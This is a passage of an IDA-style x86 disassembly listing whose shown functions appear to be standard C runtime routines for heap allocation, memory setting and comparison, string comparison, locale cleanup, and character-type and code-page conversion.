--------------------------------------------------------------------------- loc_41E434: ; CODE XREF: sub_41E2D9+118j push [ebp+var_8] call sub_41B9B7 pop ecx loc_41E43D: ; CODE XREF: sub_41E2D9+12Cj ; sub_41E2D9+190j or eax, 0FFFFFFFFh jmp short loc_41E46E ; --------------------------------------------------------------------------- loc_41E442: ; CODE XREF: sub_41E2D9+76j ; sub_41E2D9+110j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41E457 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jnz short loc_41E457 xor eax, eax jmp short loc_41E46E ; --------------------------------------------------------------------------- loc_41E457: ; CODE XREF: sub_41E2D9+170j ; sub_41E2D9+178j call sub_41B9A5 mov dword ptr [eax], 1Ch call sub_41B9AE mov [eax], edi jmp short loc_41E43D ; --------------------------------------------------------------------------- loc_41E46B: ; CODE XREF: sub_41E2D9+107j sub eax, [ebp+var_18] loc_41E46E: ; CODE XREF: sub_41E2D9+167j ; sub_41E2D9+17Cj pop esi pop ebx loc_41E470: ; CODE XREF: sub_41E2D9+24j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi call sub_41C596 leave retn sub_41E2D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E47E proc near ; CODE XREF: sub_418875+98p ; sub_418875+EBp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0041E50D SIZE 0000001C BYTES push 0Ch push offset stru_42C9C8 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_4815F0 jnb short loc_41E50D mov eax, ebx sar eax, 5 lea edi, ds:481600h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41E50D push ebx call sub_41F5BC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_41E4DD push [ebp+arg_8] push [ebp+arg_4] push ebx call sub_41E2D9 add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41E4F4 ; --------------------------------------------------------------------------- loc_41E4DD: ; CODE XREF: sub_41E47E+49j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or [ebp+var_1C], 0FFFFFFFFh loc_41E4F4: ; CODE XREF: sub_41E47E+5Dj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41E505 mov eax, [ebp+var_1C] jmp short loc_41E523 sub_41E47E endp ; =============== S U B R O U T I N E ======================================= sub_41E502 proc near ; DATA XREF: .text:stru_42C9C8o mov ebx, [ebp+8] sub_41E502 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E505 proc near ; CODE XREF: sub_41E47E+7Ap push ebx call sub_41F62F pop ecx retn sub_41E505 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E47E loc_41E50D: ; CODE XREF: sub_41E47E+15j ; sub_41E47E+35j call sub_41B9A5 mov dword ptr [eax], 9 call sub_41B9AE and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41E523: ; CODE XREF: sub_41E47E+82j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41E47E ; =============== S U B R O U T I N E ======================================= sub_41E529 proc near ; CODE XREF: sub_418875+6Fp ; sub_41B1A6+34p ... arg_0 = dword ptr 4 inc dword_481338 push 1000h call sub_416E1F test eax, eax pop ecx mov ecx, [esp+arg_0] mov [ecx+8], eax jz short loc_41E552 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41E563 ; --------------------------------------------------------------------------- loc_41E552: ; CODE XREF: sub_41E529+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41E563: ; CODE XREF: sub_41E529+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41E529 endp ; =============== S U B R O U T I N E ======================================= sub_41E56D proc near ; CODE XREF: sub_418875+64p ; sub_41C5A4+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4815F0 jb short loc_41E57C xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E57C: ; CODE XREF: sub_41E56D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_481600[ecx*4] lea eax, [eax+eax*8] movsx eax, byte ptr [ecx+eax*4+4] and eax, 40h retn sub_41E56D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E597 proc near ; CODE XREF: sub_41E5F7+1Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] push esi xor esi, esi cmp ecx, esi jnz short loc_41E5A8 xor eax, eax jmp short loc_41E5F4 ; --------------------------------------------------------------------------- loc_41E5A8: ; CODE XREF: sub_41E597+Bj mov eax, [ebp+arg_0] cmp [eax+14h], esi jnz short loc_41E5C1 mov ax, [ebp+arg_8] cmp ax, 0FFh ja short loc_41E5E6 mov [ecx], al xor eax, eax inc eax jmp short loc_41E5F4 ; --------------------------------------------------------------------------- loc_41E5C1: ; CODE XREF: sub_41E597+17j lea edx, [ebp+arg_4] push edx push esi push dword ptr [eax+28h] mov [ebp+arg_4], esi push ecx push 1 lea ecx, [ebp+arg_8] push ecx push esi push dword ptr [eax+4] call dword_4220D8 ; WideCharToMultiByte cmp eax, esi jz short loc_41E5E6 cmp [ebp+arg_4], esi jz short loc_41E5F4 loc_41E5E6: ; CODE XREF: sub_41E597+21j ; sub_41E597+48j call sub_41B9A5 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh loc_41E5F4: ; CODE XREF: sub_41E597+Fj ; sub_41E597+28j ... pop esi pop ebp retn sub_41E597 endp ; =============== S U B R O U T I N E ======================================= sub_41E5F7 proc near ; CODE XREF: sub_418A1C+317p ; sub_418A1C+6F7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 call sub_4191CF mov eax, [eax+64h] cmp eax, off_4323FC jz short loc_41E60C call sub_419FFE loc_41E60C: ; CODE XREF: sub_41E5F7+Ej push [esp+arg_4] push [esp+4+arg_0] push eax call sub_41E597 add esp, 0Ch retn sub_41E5F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E61E proc near ; CODE XREF: sub_4191CF+23p ; sub_419240+29p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041E6D1 SIZE 00000008 BYTES push 10h push offset stru_42C9D8 call __SEH_prolog mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] mov [ebp+var_1C], esi test esi, esi jnz short loc_41E639 inc esi loc_41E639: ; CODE XREF: sub_41E61E+18j ; sub_41E61E+9Fj xor edi, edi mov [ebp+var_20], edi cmp esi, 0FFFFFFE0h ja short loc_41E6A8 cmp dword_482984, 3 jnz short loc_41E693 add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov ebx, [ebp+var_1C] cmp ebx, dword_482970 ja short loc_41E693 push 4 call sub_41A1D6 pop ecx and [ebp+ms_exc.disabled], edi push ebx call sub_41AA2E pop ecx mov [ebp+var_20], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41E6C8 mov edi, [ebp+var_20] test edi, edi jz short loc_41E697 push [ebp+var_1C] push 0 push edi call sub_41E8F0 add esp, 0Ch loc_41E693: ; CODE XREF: sub_41E61E+2Cj ; sub_41E61E+40j test edi, edi jnz short loc_41E6D1 loc_41E697: ; CODE XREF: sub_41E61E+65j push esi push 8 push dword_482980 call dword_42205C ; RtlAllocateHeap mov edi, eax loc_41E6A8: ; CODE XREF: sub_41E61E+23j test edi, edi jnz short loc_41E6D1 cmp dword_481334, edi jz short loc_41E6D1 push esi call sub_41AD78 pop ecx test eax, eax jnz loc_41E639 jmp short loc_41E6D3 sub_41E61E endp ; =============== S U B R O U T I N E ======================================= sub_41E6C5 proc near ; DATA XREF: .text:stru_42C9D8o mov esi, [ebp+0Ch] sub_41E6C5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41E6C8 proc near ; CODE XREF: sub_41E61E+5Bp push 4 call sub_41A142 pop ecx retn sub_41E6C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41E61E loc_41E6D1: ; CODE XREF: sub_41E61E+77j ; sub_41E61E+8Cj ... mov eax, edi loc_41E6D3: ; CODE XREF: sub_41E61E+A5j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_41E61E ; =============== S U B R O U T I N E ======================================= sub_41E6D9 proc near ; CODE XREF: sub_4192C5+CFp ; sub_4192C5+301p ... arg_0 = dword ptr 4 call sub_4191CF mov eax, [eax+64h] cmp eax, off_4323FC jz short loc_41E6EE call sub_419FFE loc_41E6EE: ; CODE XREF: sub_41E6D9+Ej cmp dword ptr [eax+28h], 1 jle short loc_41E704 push 4 push [esp+4+arg_0] push eax call sub_419DFB add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41E704: ; CODE XREF: sub_41E6D9+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 4 retn sub_41E6D9 endp ; =============== S U B R O U T I N E ======================================= sub_41E713 proc near ; CODE XREF: sub_4192C5+840p ; sub_4192C5+922p arg_0 = dword ptr 4 call sub_4191CF mov eax, [eax+64h] cmp eax, off_4323FC jz short loc_41E728 call sub_419FFE loc_41E728: ; CODE XREF: sub_41E713+Ej cmp dword ptr [eax+28h], 1 jle short loc_41E741 push 80h push [esp+4+arg_0] push eax call sub_419DFB add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41E741: ; CODE XREF: sub_41E713+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 80h retn sub_41E713 endp ; =============== S U B R O U T I N E ======================================= sub_41E752 proc near ; CODE XREF: sub_4192C5+3Fp ; sub_4192C5+5Ap ... arg_0 = dword ptr 4 call sub_4191CF mov eax, [eax+64h] cmp eax, off_4323FC jz short loc_41E767 call sub_419FFE loc_41E767: ; CODE XREF: sub_41E752+Ej cmp dword ptr [eax+28h], 1 jle short loc_41E77D push 8 push [esp+4+arg_0] push eax call sub_419DFB add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41E77D: ; CODE XREF: sub_41E752+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 8 retn sub_41E752 endp ; =============== S U B R O U T I N E ======================================= sub_41E78C proc near ; CODE XREF: sub_4192C5+6Dp ; sub_4192C5+3DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41E7D8 mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41E7AA test al, al jns short loc_41E7D8 test al, 2 jnz short loc_41E7D8 loc_41E7AA: ; CODE XREF: sub_41E78C+14j cmp dword ptr [esi+8], 0 jnz short loc_41E7B7 push esi call sub_41E529 pop ecx loc_41E7B7: ; CODE XREF: sub_41E78C+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41E7C7 cmp dword ptr [esi+4], 0 jnz short loc_41E7D8 inc eax mov [esi], eax loc_41E7C7: ; CODE XREF: sub_41E78C+30j dec dword ptr [esi] test byte ptr [esi+0Ch], 40h mov eax, [esi] jz short loc_41E7DE cmp [eax], bl jz short loc_41E7E0 inc eax mov [esi], eax loc_41E7D8: ; CODE XREF: sub_41E78C+9j ; sub_41E78C+18j ... or eax, 0FFFFFFFFh loc_41E7DB: ; CODE XREF: sub_41E78C+6Aj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41E7DE: ; CODE XREF: sub_41E78C+43j mov [eax], bl loc_41E7E0: ; CODE XREF: sub_41E78C+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and eax, 0FFFFFFEFh or eax, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41E7DB sub_41E78C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7F8 proc near ; CODE XREF: sub_41E8B8+22p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_8] xor ebx, ebx cmp edi, ebx jz short loc_41E81C cmp [ebp+arg_C], ebx jz short loc_41E81C mov al, [edi] cmp al, bl jnz short loc_41E823 mov eax, [ebp+arg_4] cmp eax, ebx jz short loc_41E81C mov [eax], bx loc_41E81C: ; CODE XREF: sub_41E7F8+Dj ; sub_41E7F8+12j ... xor eax, eax loc_41E81E: ; CODE XREF: sub_41E7F8+44j ; sub_41E7F8+8Dj ... pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41E823: ; CODE XREF: sub_41E7F8+18j mov esi, [ebp+arg_0] cmp [esi+14h], ebx jnz short loc_41E83E mov ecx, [ebp+arg_4] cmp ecx, ebx jz short loc_41E839 movzx ax, al mov [ecx], ax loc_41E839: ; CODE XREF: sub_41E7F8+38j ; sub_41E7F8+ABj xor eax, eax inc eax jmp short loc_41E81E ; --------------------------------------------------------------------------- loc_41E83E: ; CODE XREF: sub_41E7F8+31j mov ecx, [esi+48h] movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41E887 mov eax, [esi+28h] cmp eax, 1 jle short loc_41E875 cmp [ebp+arg_C], eax jl short loc_41E875 xor ecx, ecx cmp [ebp+arg_4], ebx setnz cl push ecx push [ebp+arg_4] push eax push edi push 9 push dword ptr [esi+4] call dword_4220D4 ; MultiByteToWideChar test eax, eax jnz short loc_41E882 loc_41E875: ; CODE XREF: sub_41E7F8+59j ; sub_41E7F8+5Ej mov eax, [ebp+arg_C] cmp eax, [esi+28h] jb short loc_41E8A5 cmp [edi+1], bl jz short loc_41E8A5 loc_41E882: ; CODE XREF: sub_41E7F8+7Bj mov eax, [esi+28h] jmp short loc_41E81E ; --------------------------------------------------------------------------- loc_41E887: ; CODE XREF: sub_41E7F8+51j xor eax, eax cmp [ebp+arg_4], ebx setnz al push eax push [ebp+arg_4] push 1 push edi push 9 push dword ptr [esi+4] call dword_4220D4 ; MultiByteToWideChar test eax, eax jnz short loc_41E839 loc_41E8A5: ; CODE XREF: sub_41E7F8+83j ; sub_41E7F8+88j call sub_41B9A5 mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_41E81E sub_41E7F8 endp ; =============== S U B R O U T I N E ======================================= sub_41E8B8 proc near ; CODE XREF: sub_4192C5+68Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_4191CF mov eax, [eax+64h] cmp eax, off_4323FC jz short loc_41E8CD call sub_419FFE loc_41E8CD: ; CODE XREF: sub_41E8B8+Ej push [esp+arg_8] push [esp+4+arg_4] push [esp+8+arg_0] push eax call sub_41E7F8 add esp, 10h retn sub_41E8B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41E8F0 proc near ; CODE XREF: sub_4192C5+512p ; sub_41BD6A+8Cp ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41E94B xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41E93B neg ecx and ecx, 3 jz short loc_41E91D sub edx, ecx loc_41E913: ; CODE XREF: sub_41E8F0+2Bj mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_41E913 loc_41E91D: ; CODE XREF: sub_41E8F0+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41E93B rep stosd test edx, edx jz short loc_41E945 loc_41E93B: ; CODE XREF: sub_41E8F0+18j ; sub_41E8F0+43j ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_41E93B loc_41E945: ; CODE XREF: sub_41E8F0+49j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41E94B: ; CODE XREF: sub_41E8F0+Aj mov eax, [esp+arg_0] retn sub_41E8F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E950 proc near ; CODE XREF: sub_419DFB+60p ; sub_41CFD4+A4p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push 1Ch push offset stru_42C9E8 call __SEH_prolog xor esi, esi cmp dword_48145C, esi jnz short loc_41E99B lea eax, [ebp+var_1C] push eax xor edi, edi inc edi push edi push offset dword_42C148 push edi call dword_422158 ; GetStringTypeW test eax, eax jz short loc_41E986 mov dword_48145C, edi jmp short loc_41E99B ; --------------------------------------------------------------------------- loc_41E986: ; CODE XREF: sub_41E950+2Cj call dword_422008 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_41E99B mov dword_48145C, 2 loc_41E99B: ; CODE XREF: sub_41E950+14j ; sub_41E950+34j ... mov eax, dword_48145C cmp eax, 2 jz loc_41EA93 cmp eax, esi jz loc_41EA93 cmp eax, 1 jnz loc_41EAB9 mov [ebp+var_20], esi mov [ebp+var_24], esi cmp [ebp+arg_10], esi jnz short loc_41E9CD mov eax, dword_4814A8 mov [ebp+arg_10], eax loc_41E9CD: ; CODE XREF: sub_41E950+73j push esi push esi push [ebp+arg_8] push [ebp+arg_4] xor eax, eax cmp [ebp+arg_18], esi setnz al lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call dword_4220D4 ; MultiByteToWideChar mov edi, eax mov [ebp+var_28], edi test edi, edi jz loc_41EAB9 and [ebp+ms_exc.disabled], 0 lea ebx, [edi+edi] mov eax, ebx add eax, 3 and eax, 0FFFFFFFCh call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov esi, esp mov [ebp+var_2C], esi push ebx push 0 push esi call sub_41E8F0 add esp, 0Ch or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_41EA3E ; --------------------------------------------------------------------------- loc_41EA29: ; DATA XREF: .text:stru_42C9E8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41EA2D: ; DATA XREF: .text:stru_42C9E8o mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 xor esi, esi or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_28] loc_41EA3E: ; CODE XREF: sub_41E950+D7j test esi, esi jnz short loc_41EA59 push edi push 2 call sub_41E61E pop ecx pop ecx mov esi, eax test esi, esi jz short loc_41EAB9 mov [ebp+var_24], 1 loc_41EA59: ; CODE XREF: sub_41E950+F0j push edi push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call dword_4220D4 ; MultiByteToWideChar test eax, eax jz short loc_41EA81 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call dword_422158 ; GetStringTypeW mov [ebp+var_20], eax loc_41EA81: ; CODE XREF: sub_41E950+11Ej cmp [ebp+var_24], 0 jz short loc_41EA8E push esi call sub_416D07 pop ecx loc_41EA8E: ; CODE XREF: sub_41E950+135j mov eax, [ebp+var_20] jmp short loc_41EB01 ; --------------------------------------------------------------------------- loc_41EA93: ; CODE XREF: sub_41E950+53j ; sub_41E950+5Bj mov ebx, [ebp+arg_14] cmp ebx, esi jnz short loc_41EAA0 mov ebx, dword_481498 loc_41EAA0: ; CODE XREF: sub_41E950+148j mov edi, [ebp+arg_10] test edi, edi jnz short loc_41EAAD mov edi, dword_4814A8 loc_41EAAD: ; CODE XREF: sub_41E950+155j push ebx call sub_4202EF pop ecx cmp eax, 0FFFFFFFFh jnz short loc_41EABD loc_41EAB9: ; CODE XREF: sub_41E950+64j ; sub_41E950+A5j ... xor eax, eax jmp short loc_41EB01 ; --------------------------------------------------------------------------- loc_41EABD: ; CODE XREF: sub_41E950+167j cmp eax, edi jz short loc_41EADF push 0 push 0 lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push edi call sub_420338 add esp, 18h mov esi, eax test esi, esi jz short loc_41EAB9 mov [ebp+arg_4], esi loc_41EADF: ; CODE XREF: sub_41E950+16Fj push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push ebx call dword_4221D8 ; GetStringTypeA mov edi, eax test esi, esi jz short loc_41EAFF push esi call sub_416D07 pop ecx loc_41EAFF: ; CODE XREF: sub_41E950+1A6j mov eax, edi loc_41EB01: ; CODE XREF: sub_41E950+141j ; sub_41E950+16Bj lea esp, [ebp-38h] call __SEH_epilog retn sub_41E950 endp ; =============== S U B R O U T I N E ======================================= sub_41EB0A proc near ; CODE XREF: sub_419E72+B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_41EC98 push dword ptr [esi+4] call sub_416D07 push dword ptr [esi+8] call sub_416D07 push dword ptr [esi+0Ch] call sub_416D07 push dword ptr [esi+10h] call sub_416D07 push dword ptr [esi+14h] call sub_416D07 push dword ptr [esi+18h] call sub_416D07 push dword ptr [esi] call sub_416D07 push dword ptr [esi+20h] call sub_416D07 push dword ptr [esi+24h] call sub_416D07 push dword ptr [esi+28h] call sub_416D07 push dword ptr [esi+2Ch] call sub_416D07 push dword ptr [esi+30h] call sub_416D07 push dword ptr [esi+34h] call sub_416D07 push dword ptr [esi+1Ch] call sub_416D07 push dword ptr [esi+38h] call sub_416D07 push dword ptr [esi+3Ch] call sub_416D07 add esp, 40h push dword ptr [esi+40h] call sub_416D07 push dword ptr [esi+44h] call sub_416D07 push dword ptr [esi+48h] call sub_416D07 push dword ptr [esi+4Ch] call sub_416D07 push dword ptr [esi+50h] call sub_416D07 push dword ptr [esi+54h] call sub_416D07 push dword ptr [esi+58h] call sub_416D07 push dword ptr [esi+5Ch] call sub_416D07 push dword ptr [esi+60h] call sub_416D07 push dword ptr [esi+64h] call sub_416D07 push dword ptr [esi+68h] call sub_416D07 push dword ptr [esi+6Ch] call sub_416D07 push dword ptr [esi+70h] call sub_416D07 push dword ptr [esi+74h] call sub_416D07 push dword ptr [esi+78h] call sub_416D07 push dword ptr [esi+7Ch] call sub_416D07 add esp, 40h push dword ptr [esi+80h] call sub_416D07 push dword ptr [esi+84h] call sub_416D07 push dword ptr [esi+88h] call sub_416D07 push dword ptr [esi+8Ch] call sub_416D07 push dword ptr [esi+90h] call sub_416D07 push dword ptr [esi+94h] call sub_416D07 push dword ptr [esi+98h] call sub_416D07 push dword ptr [esi+9Ch] call sub_416D07 push dword ptr [esi+0A0h] call sub_416D07 push dword ptr [esi+0A4h] call sub_416D07 push dword ptr [esi+0A8h] call sub_416D07 add esp, 2Ch loc_41EC98: ; CODE XREF: sub_41EB0A+7j pop esi retn sub_41EB0A endp ; =============== S U B R O U T I N E ======================================= sub_41EC9A proc near ; CODE XREF: sub_419E72+5Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41ECF7 mov eax, [esi] mov ecx, off_432DB4 cmp eax, [ecx] jz short loc_41ECBE cmp eax, off_432D84 jz short loc_41ECBE push eax call sub_416D07 pop ecx loc_41ECBE: ; CODE XREF: sub_41EC9A+13j ; sub_41EC9A+1Bj mov eax, [esi+4] mov ecx, off_432DB4 cmp eax, [ecx+4] jz short loc_41ECDB cmp eax, off_432D88 jz short loc_41ECDB push eax call sub_416D07 pop ecx loc_41ECDB: ; CODE XREF: sub_41EC9A+30j ; sub_41EC9A+38j mov esi, [esi+8] mov eax, off_432DB4 cmp esi, [eax+8] jz short loc_41ECF7 cmp esi, off_432D8C jz short loc_41ECF7 push esi call sub_416D07 pop ecx loc_41ECF7: ; CODE XREF: sub_41EC9A+7j ; sub_41EC9A+4Cj ... pop esi retn sub_41EC9A endp ; =============== S U B R O U T I N E ======================================= sub_41ECF9 proc near ; CODE XREF: sub_419E72+3Ap arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_41EDD0 mov eax, [esi+0Ch] mov ecx, off_432DB4 cmp eax, [ecx+0Ch] jz short loc_41ED23 cmp eax, off_432D90 jz short loc_41ED23 push eax call sub_416D07 pop ecx loc_41ED23: ; CODE XREF: sub_41ECF9+19j ; sub_41ECF9+21j mov eax, [esi+10h] mov ecx, off_432DB4 cmp eax, [ecx+10h] jz short loc_41ED40 cmp eax, off_432D94 jz short loc_41ED40 push eax call sub_416D07 pop ecx loc_41ED40: ; CODE XREF: sub_41ECF9+36j ; sub_41ECF9+3Ej mov eax, [esi+14h] mov ecx, off_432DB4 cmp eax, [ecx+14h] jz short loc_41ED5D cmp eax, off_432D98 jz short loc_41ED5D push eax call sub_416D07 pop ecx loc_41ED5D: ; CODE XREF: sub_41ECF9+53j ; sub_41ECF9+5Bj mov eax, [esi+18h] mov ecx, off_432DB4 cmp eax, [ecx+18h] jz short loc_41ED7A cmp eax, off_432D9C jz short loc_41ED7A push eax call sub_416D07 pop ecx loc_41ED7A: ; CODE XREF: sub_41ECF9+70j ; sub_41ECF9+78j mov eax, [esi+1Ch] mov ecx, off_432DB4 cmp eax, [ecx+1Ch] jz short loc_41ED97 cmp eax, off_432DA0 jz short loc_41ED97 push eax call sub_416D07 pop ecx loc_41ED97: ; CODE XREF: sub_41ECF9+8Dj ; sub_41ECF9+95j mov eax, [esi+20h] mov ecx, off_432DB4 cmp eax, [ecx+20h] jz short loc_41EDB4 cmp eax, off_432DA4 jz short loc_41EDB4 push eax call sub_416D07 pop ecx loc_41EDB4: ; CODE XREF: sub_41ECF9+AAj ; sub_41ECF9+B2j mov esi, [esi+24h] mov eax, off_432DB4 cmp esi, [eax+24h] jz short loc_41EDD0 cmp esi, off_432DA8 jz short loc_41EDD0 push esi call sub_416D07 pop ecx loc_41EDD0: ; CODE XREF: sub_41ECF9+7j ; sub_41ECF9+C6j ... pop esi retn sub_41ECF9 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_41EDF4: ; CODE XREF: .text:0041EE01j mov al, [edx] or al, al jz short loc_41EE03 add edx, 1 bts [esp], eax jmp short loc_41EDF4 ; --------------------------------------------------------------------------- loc_41EE03: ; CODE XREF: .text:0041EDF8j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_41EE0C: ; CODE XREF: .text:0041EE1Cj add ecx, 1 mov al, [esi] or al, al jz short loc_41EE1E add esi, 1 bt [esp], eax jnb short loc_41EE0C loc_41EE1E: ; CODE XREF: .text:0041EE13j mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41EE30 proc near ; CODE XREF: sub_41C656+1Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41EE7C loc_41EE40: ; CODE XREF: sub_41EE30+3Cj ; sub_41EE30+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_41EE74 or al, al jz short loc_41EE70 cmp ah, [ecx+1] jnz short loc_41EE74 or ah, ah jz short loc_41EE70 shr eax, 10h cmp al, [ecx+2] jnz short loc_41EE74 or al, al jz short loc_41EE70 cmp ah, [ecx+3] jnz short loc_41EE74 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41EE40 mov edi, edi loc_41EE70: ; CODE XREF: sub_41EE30+18j ; sub_41EE30+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41EE74: ; CODE XREF: sub_41EE30+14j ; sub_41EE30+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_41EE7C: ; CODE XREF: sub_41EE30+Ej test edx, 1 jz short loc_41EE9C mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_41EE74 add ecx, 1 or al, al jz short loc_41EE70 test edx, 2 jz short loc_41EE40 loc_41EE9C: ; CODE XREF: sub_41EE30+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41EE74 or al, al jz short loc_41EE70 cmp ah, [ecx+1] jnz short loc_41EE74 or ah, ah jz short loc_41EE70 add ecx, 2 jmp short loc_41EE40 sub_41EE30 endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+0Ch] test eax, eax jz short locret_41EF12 mov edx, [esp+4] push esi push edi mov esi, edx mov edi, [esp+10h] or edx, edi and edx, 3 jz short loc_41EF13 test eax, 1 jz short loc_41EEF3 mov cl, [esi] cmp cl, [edi] jnz short loc_41EF40 add esi, 1 add edi, 1 sub eax, 1 jz short loc_41EF10 loc_41EEF3: ; CODE XREF: .text:0041EEE0j ; .text:0041EF0Ej mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41EF40 mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41EF40 add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41EEF3 loc_41EF10: ; CODE XREF: .text:0041EEF1j ; 